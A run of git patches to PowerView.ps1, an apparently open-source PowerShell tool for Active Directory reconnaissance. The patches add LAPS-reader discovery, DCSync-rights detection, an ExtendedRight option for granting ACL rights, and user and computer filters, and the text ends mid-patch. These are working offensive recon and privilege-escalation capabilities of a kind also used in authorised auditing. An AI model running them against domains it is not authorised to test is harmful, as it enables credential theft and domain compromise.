a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -22037,12 +22037,17 @@ Custom PSObject with ACL entries. PROCESS { if ($Searcher) { $Filter = '' + $Checks = '' $Identity | Get-IdentityFilterString | ForEach-Object { $Filter += $_ } - Write-Verbose "[Get-DomainObjectSD] Using filter: $Filter" + if (!($Filter) -and $PSBoundParameters['Check'] -and (Test-Path -Path $Check -PathType Leaf)) { + $Checks = Import-Csv $Check + $Checks | ForEach-Object {$Filter += Get-IdentityFilterString $_.ObjectSID} + } if ($Filter) { $Searcher.filter = "(|$Filter)" + Write-Verbose "[Get-DomainObjectSD] Using filter: $($Searcher.filter)" $Objects = @() $Results = $Searcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { @@ -22059,13 +22064,28 @@ Custom PSObject with ACL entries. $SDDLObject = New-Object PSObject $SDDLObject | Add-Member "ObjectSID" $ObjectSid $SDDLObject | Add-Member "ObjectSDDL" $SecurityDescriptor.GetSddlForm(15) - $Objects += $SDDLObject - if ($PSBoundParameters['Check'] -and $Check -eq $SDDLObject.ObjectSDDL) { + if ($Checks) { + $SDDLtoCheck = $Checks | Where-Object {$_.ObjectSID -eq $ObjectSid} + if ($SDDLtoCheck.ObjectSDDL -eq $SDDLObject.ObjectSDDL) { + Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same as the one provided" + } + else { + Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is different to the one provided" + $SDDLObject + $Objects += $SDDLObject + } + } + elseif ($PSBoundParameters['Check'] -and $Check -eq $SDDLObject.ObjectSDDL) { Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same as the one provided" } - else { + elseif ($PSBoundParameters['Check']) { Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is different to the one provided" $SDDLObject + $Objects += $SDDLObject + } + else { + $SDDLObject + $Objects += $SDDLObject } } if ($PSBoundParameters['OutFile']) { From 735b9d2a515f54da6961a115a1f4b6e6255bda56 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Thu, 12 Nov 2020 15:28:11 +0000 Subject: [PATCH 17/58] changed message from warning to verbose if it's the same when checking SD's from a file, so by default it only outputs different SD information --- Recon/PowerView.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 1cbfe914..d98d2fbe 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -22067,7 +22067,7 @@ Custom PSObject with ACL entries. if ($Checks) { $SDDLtoCheck = $Checks | Where-Object {$_.ObjectSID -eq $ObjectSid} if ($SDDLtoCheck.ObjectSDDL -eq $SDDLObject.ObjectSDDL) { - Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same as the one provided" + Write-Verbose "[Get-DomainObjectSD] SD for $($Object.samaccountname) is the same as the one provided" } else { Write-Warning "[Get-DomainObjectSD] SD for $($Object.samaccountname) is different to the one provided" From 3188554f73139bdf68087985e830719f4b5cf882 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Fri, 13 Nov 2020 00:11:35 +0000 Subject: [PATCH 18/58] adding some verbose messages to Set-DomainObjectSD --- Recon/PowerView.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d98d2fbe..8e9935d9 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -22090,6 +22090,7 @@ Custom PSObject with ACL entries. } if ($PSBoundParameters['OutFile']) { try { + Write-Verbose "[Get-DomainObjectSD] Writing object SD information to $OutFile" $Objects | ForEach-Object { Export-Csv -InputObject $_ -Path $OutFile -Append } } catch { @@ -22262,6 +22263,7 @@ Custom PSObject with ACL entries. $Filter = '' if ($PSBoundParameters['InputFile']) { try { + Write-Verbose "[Set-DomainObjectSD] Reading provided input file: $InputFile" Import-Csv $InputFile | ForEach-Object { $RestoreTargets.Add($_.ObjectSID, $_.ObjectSDDL) } @@ -22274,6 +22276,7 @@ Custom PSObject with ACL entries. } } elseif ($Identity -and $SDDLString) { + Write-Verbose "[Set-DomainObjectSD] Setting provided identities: $Identity" $Identity | Get-IdentityFilterString | ForEach-Object { $Filter += $_ } @@ -22295,6 +22298,7 @@ Custom PSObject with ACL entries. } # Build Raw SD + Write-Verbose "[Set-DomainObjectSD] Building raw SD from SDDL string: $SDDLString" $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $SDDLString $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) From ee6d4560ac5fdf9a6b6f024a492b8f505058f432 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Sat, 14 Nov 2020 01:19:43 +0000 Subject: [PATCH 19/58] Added -LastLogon parameter to Get-DomainComputer to allow for filtering out computers that haven't logged on for at least X number of days --- Recon/PowerView.ps1 | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 8e9935d9..e6e8e0cd 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6162,6 +6162,10 @@ Return computers in the specific AD Site name, wildcards accepted. Switch. Ping each host to ensure it's up before enumerating. +.PARAMETER LastLogon + +Return computers that have logged on within a number of days. + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -6302,6 +6306,10 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $Ping, + [ValidateRange(1, 10000)] + [Int] + $LastLogon, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -6458,6 +6466,11 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" $Filter += "(serverreferencebl=$SiteName)" } + if ($PSBoundParameters['LastLogon']) { + Write-Verbose "[Get-DomainComputer] Searching for computer accounts that have logged on within the last $PSBoundParameters['LastLogon'] days" + $LogonDate = (Get-Date).AddDays(-$PSBoundParameters['LastLogon']).ToFileTime() + $Filter += "(lastlogon>=$LogonDate)" + } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" From 1202a0318e951e36f42afa80ce9a6585d69e7c97 Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Sat, 14 Nov 2020 03:10:51 +0000 Subject: [PATCH 20/58] Added Get-DomainDN for easily retrieving the domain distinguished name, for use when dealing with LAPS stuff soon and used in Get-DomainDCSync --- Recon/PowerView.ps1 | 102 ++++++++++++++++++++++++++++++++++++++++---- 1 file changed, 94 insertions(+), 8 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index e6e8e0cd..de0fe508 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -3220,7 +3220,7 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) } } - elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') -or ($_ -eq 'ms-mcs-admpwdexpirationtime')) { # convert timestamps if ($Properties[$_][0] -is [System.MarshalByRefObject]) { # if we have a System.__ComObject @@ -21758,10 +21758,11 @@ Returns accounts that have DCSync privileges in current domain. BEGIN { $SearcherArguments = @{} - if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + $DNSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain; $DNSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } - if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server; $DNSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } @@ -21772,10 +21773,8 @@ Returns accounts that have DCSync privileges in current domain. } PROCESS { - $DomainSID = Get-DomainSID - Write-Verbose "[Get-DomainDCSync] Retrieving the domain SID: $DomainSID" - $DomainDN = (Get-DomainObject $DomainSID).distinguishedname - Write-Verbose "[Get-DomainDCSync] Retrieving the domain distinguishedname: $DomainDN" + $DomainDN = Get-DomainDN @DNSearcherArguments + Write-Verbose "[Get-DomainDCSync] Retrieved the domain distinguishedname: $DomainDN" # Hash Table for storing DCSync privileges $Privs = @{} @@ -21787,7 +21786,7 @@ Returns accounts that have DCSync privileges in current domain. } # Loop through ACL on the domain head - Get-DomainObjectACL $DomainDN -RightsFilter DCSync | ForEach-Object { + Get-DomainObjectACL $DomainDN -RightsFilter DCSync @SearcherArguments | ForEach-Object { $ACE = $_ $SID = $ACE.SecurityIdentifier.Value $ADRights = $ACE.ActiveDirectoryRights @@ -22334,6 +22333,93 @@ Custom PSObject with ACL entries. } +function Get-DomainDN { +<# +.SYNOPSIS + +Returns the distinguished name for the current domain or the specified domain. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +.DESCRIPTION + +Returns the distinguished name for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. The SID of the returned domain controller +is then extracted. Largely stolen from @harmj0y's Get-DomainSID. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDN + +.EXAMPLE + +Get-DomainDN -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDN -Credential $Cred + +.OUTPUTS + +String + +A string representing the specified domain distinguished name. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{ + 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DCDN = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty distinguishedname + + if ($DCDN) { + $DCDN.SubString($DCDN.IndexOf(',DC=')+1) + } + else { + Write-Verbose "[Get-DomainDN] Error extracting domain SID for '$Domain'" + } +} + + ######################################################## From 225f75a8eb7e8a9137412b5512f0464359a0dd0a Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Sun, 15 Nov 2020 01:22:48 +0000 Subject: [PATCH 21/58] Added -HadLAPS, -NoLAPS and -CanReadLAPS to Get-DomainComputer for LAPS searching --- Recon/PowerView.ps1 | 57 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 57 insertions(+) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index de0fe508..ba59bec2 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6166,6 +6166,18 @@ Switch. Ping each host to ensure it's up before enumerating. Return computers that have logged on within a number of days. +.PARAMETER HasLAPS + +Switch. Return computers with LAPS enabled. + +.PARAMETER NoLAPS + +Switch. Return computers without LAPS enabled. + +.PARAMETER CanReadLAPS + +Switch. Return computers where the LAPS password is readable. + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -6310,6 +6322,15 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Int] $LastLogon, + [Switch] + $HasLAPS, + + [Switch] + $NoLAPS, + + [Switch] + $CanReadLAPS, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -6385,6 +6406,10 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $CompSearcher = Get-DomainSearcher @SearcherArguments + + $DNSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $DNSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DNSearcherArguments['Server'] = $Server } } PROCESS { @@ -6471,6 +6496,38 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $LogonDate = (Get-Date).AddDays(-$PSBoundParameters['LastLogon']).ToFileTime() $Filter += "(lastlogon>=$LogonDate)" } + if (($PSBoundParameters['HasLAPS']) -or ($PSBoundParameters['NoLAPS']) -or ($PSBoundParameters['CanReadLAPS'])) { + $SchemaDN = "CN=Schema,CN=Configuration,$(Get-DomainDN @DNSearcherArguments)" + $AttrFilter = '' + Write-Verbose "[Get-DomainComputer] Using distinguished name: $SchemaDN" + if ($PSBoundParameters['HasLAPS']) { + # Searching for attribute name, which can differ as per pingcastle by @vletoux + # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs + Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { + Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" + $AttrFilter += "($_=*)" + } + if ($AttrFilter) { $Filter += "(|$AttrFilter)" } + } + if ($PSBoundParameters['NoLAPS']) { + # Searching for attribute name, which can differ as per pingcastle by @vletoux + # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs + Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { + Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" + $AttrFilter += "(!($_=*))" + } + if ($AttrFilter) { $Filter += "(&$AttrFilter)" } + } + if ($PSBoundParameters['CanReadLAPS']) { + # Searching for attribute name, which can differ as per pingcastle by @vletoux + # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs + Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { + Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" + $AttrFilter += "($_=*)" + } + if ($AttrFilter) { $Filter += "(|$AttrFilter)" } + } + } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" From 42534c19205008af0c69268e7db08ee9e63a252a Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Mon, 16 Nov 2020 02:41:11 +0000 Subject: [PATCH 22/58] added some initial code for Get-DomainLAPSReaders, which finds all possible reader accounts for the LAPS attribute on LAPS enabled machines, also added ExtendedRight for -Rights parameter to Add-DomainObjectAcl and ReadLAPS to -RightsFilter parameter of Get-DomainObjectAcl --- Recon/PowerView.ps1 | 222 ++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 216 insertions(+), 6 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index ba59bec2..c1d7de7e 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -8295,7 +8295,7 @@ Custom PSObject with ACL entries. [String] [Alias('Rights')] - [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended', 'ReadLAPS')] $RightsFilter, [ValidateNotNullOrEmpty()] @@ -8441,8 +8441,9 @@ Custom PSObject with ACL entries. $GuidFilter = Switch ($RightsFilter) { 'ResetPassword' { @('00299570-246d-11d0-a768-00aa006e0529') } 'WriteMembers' { @('bf9679c0-0de6-11d0-a285-00aa003049e2') } - 'DCSync' { @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', 'GenericAll') } + 'DCSync' { @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', 'GenericAll', 'ExtendedRight') } 'AllExtended' { 'ExtendedRight' } + 'ReadLAPS' { @('ExtendedRight', 'GenericAll', 'WriteDacl') } 'All' { 'GenericAll' } Default { '00000000-0000-0000-0000-000000000000' } } @@ -8452,11 +8453,17 @@ Custom PSObject with ACL entries. elseif ($_.AceQualifier -eq 'AccessAllowed' -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType) -and (($_.ActiveDirectoryRights -match $GuidFilter) -or ($GuidFilter -contains $_.ActiveDirectoryRights))) { $Continue = $True } + elseif (($_.AceQualifier -eq 'AccessAllowed') -and !($_.ObjectAceType) -and !($_.InheritedObjectAceType)) { + ForEach ($Guid in $GuidFilter) { + if ($_.ActiveDirectoryRights -match $Guid) { + $Continue = $True + } + } + } } else { $Continue = $True } - if ($Continue) { if ($GUIDs) { # if we're resolving GUIDs, map them them to the resolved hash table @@ -8717,7 +8724,7 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, - [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended')] [String] $Rights = 'All', @@ -8781,6 +8788,7 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c # when applied to a domain's ACL, allows for the use of DCSync 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + 'AllExtended' { 'ExtendedRight' } } } @@ -8790,13 +8798,17 @@ https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a try { $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) - if ($GUIDs) { + if ($GUIDs -and !($GUIDs -eq 'ExtendedRight')) { ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType } } + elseif ($GUIDs -eq 'ExtendedRight') { + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } else { # deault to GenericAll rights $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' @@ -21847,7 +21859,7 @@ Returns accounts that have DCSync privileges in current domain. $ACE = $_ $SID = $ACE.SecurityIdentifier.Value $ADRights = $ACE.ActiveDirectoryRights - if ($ADRights -eq 'GenericAll') { + if ($ADRights -eq 'GenericAll' -or ($ADRights -eq 'ExtendedRight' -and !($ACE.ObjectAceType) -and !($ACE.InheritedObjectAceType))) { $Privs.$SID = @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2') } else { @@ -22476,6 +22488,204 @@ A string representing the specified domain distinguished name. } } +function Get-DomainLAPSReaders { +<# +.SYNOPSIS + +Finds accounts that can view the LAPS password for machine accounts. + +Author: Charlie Clark (@exploitph) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local). Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainLAPSReaders + +Returns the LAPS reader information in current domain. +#> + [OutputType([PSObject])] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('SamAccountName', 'Name', 'DNSHostName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $Searcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + $Filter = '' + $ACLs = @() + if (!($Identity)) { + $Identity = (Get-DomainComputer -HasLAPS @SearcherArguments).objectsid + } + $Identity | Get-DomainObjectAcl -RightsFilter ReadLAPS @SearcherArguments | ForEach-Object { + if (!($Filter) -or ($Filter -notmatch $_.ObjectSID)) { + Write-Verbose "[Get-DomainLAPSReaders] Adding $($_.ObjectSID) to filter" + $Filter += "(objectsid=$($_.ObjectSID))" + } + if ($Filter -notmatch $_.SecurityIdentifier) { + Write-Verbose "[Get-DomainLAPSReaders] Adding $($_.SecurityIdentifier) to filter" + $Filter += "(objectsid=$($_.SecurityIdentifier))" + } + $ACLs += $_ + } + if ($Filter) { + $Accounts = @() + $Searcher.filter = "(|$Filter)" + Write-Verbose "[Get-DomainLAPSReaders] Using filter: $($Searcher.filter)" + $Results = $Searcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Accounts += $_.Properties + } + + $ACLs | ForEach-Object { + $ObjectSID = $_.ObjectSID + $PrincipalSID = $_.SecurityIdentifier + $ADRights = $_.ActiveDirectoryRights + $Object = $Accounts | ?{(New-Object System.Security.Principal.SecurityIdentifier($_.objectsid[0],0)).Value -eq $ObjectSID} + $Principal = $Accounts | ?{(New-Object System.Security.Principal.SecurityIdentifier($_.objectsid[0],0)).Value -eq $PrincipalSID} + $OutObject = New-Object PSObject + if ($Object) { + $OutObject | Add-Member "ObjectName" $Object.samaccountname[0] + $OutObject | Add-Member "ObjectType" ($Object.samaccounttype[0] -as $SamAccountTypeEnum) + } + $OutObject | Add-Member "ObjectSID" $ObjectSID + $OutObject | Add-Member "ActiveDirectoryRights" $ADRights + if ($Principal) { + $OutObject | Add-Member "PrincipalName" $Principal.samaccountname[0] + $OutObject | Add-Member "PrincipalType" ($Principal.samaccounttype[0] -as $SamAccountTypeEnum) + } + $OutObject | Add-Member "PrincipalSID" $PrincipalSID + $OutObject + } + } + } +} + From 814ce1970cb260b1b237d69f0a91d0552315fdbd Mon Sep 17 00:00:00 2001 From: 0xe7 Date: Tue, 17 Nov 2020 02:34:20 +0000 Subject: [PATCH 23/58] Added -PassExpired and -PassNotExpired to filter for expired/not expired accounts, need to test more, changed -PassNotExpire to -NoPAssExpiry to avoid confusion, all in Get-DomainUser --- Recon/PowerView.ps1 | 89 ++++++++++++++++++++++++++++++++++++--------- 1 file changed, 72 insertions(+), 17 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index c1d7de7e..018098a4 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4921,6 +4921,14 @@ Switch. Return users that are currently locked. Switch. Return users that are currently unlocked. +.PARAMETER PassExired + +Switch. Return users whose password has expired. + +.PARAMETER PassNotExpired + +Switch. Return users whose password has not expired. + .PARAMETER AllowDelegation Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' @@ -4929,7 +4937,7 @@ Switch. Return user accounts that are not marked as 'sensitive and not allowed f Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' -.PARAMETER PassNotExpire +.PARAMETER NoPassExpiry Switch. Return users whose passwords do not expire. @@ -5119,6 +5127,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $Unlocked, + [Switch] + $PassExpired, + + [Switch] + $PassNotExpired, + [Switch] $AllowDelegation, @@ -5126,7 +5140,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $DisallowDelegation, [Switch] - $PassNotExpire, + $NoPassExpiry, [Switch] $Unconstrained, @@ -5225,6 +5239,12 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $UserSearcher = Get-DomainSearcher @SearcherArguments + + $PolicyArguments = @{} + if ($PSBoundParameters['Domain']) { $PolicyArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $PolicyArguments['Server'] = $Server } + if ($PSBoundParameters['ServerTimeLimit']) { $PolicyArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $PolicyArguments['Credential'] = $Credential } } PROCESS { @@ -5296,7 +5316,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['Locked']) { Write-Verbose '[Get-DomainUser] Searching for users who are locked' # need to get the lockout duration from the domain policy - $Duration = ((Get-DomainPolicy -Policy Domain).SystemAccess).LockoutDuration + $Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration if ($Duration -eq -1) { $LockoutTime = 1 } @@ -5308,7 +5328,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. elseif ($PSBoundParameters['Unlocked']) { Write-Verbose '[Get-DomainUser] Searching for users who are unlocked' # need to get the lockout duration from the domain policy - $Duration = ((Get-DomainPolicy -Policy Domain).SystemAccess).LockoutDuration + $Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration if ($Duration -eq -1) { $LockoutTime = 1 } @@ -5317,7 +5337,14 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } $Filter += "(!(lockoutTime>=$LockoutTime))" } - + if ($PSBoundParameters['PassExpired']) { + Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire' + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=65536))' + } + elseif ($PSBoundParameters['NoPassExpiry']) 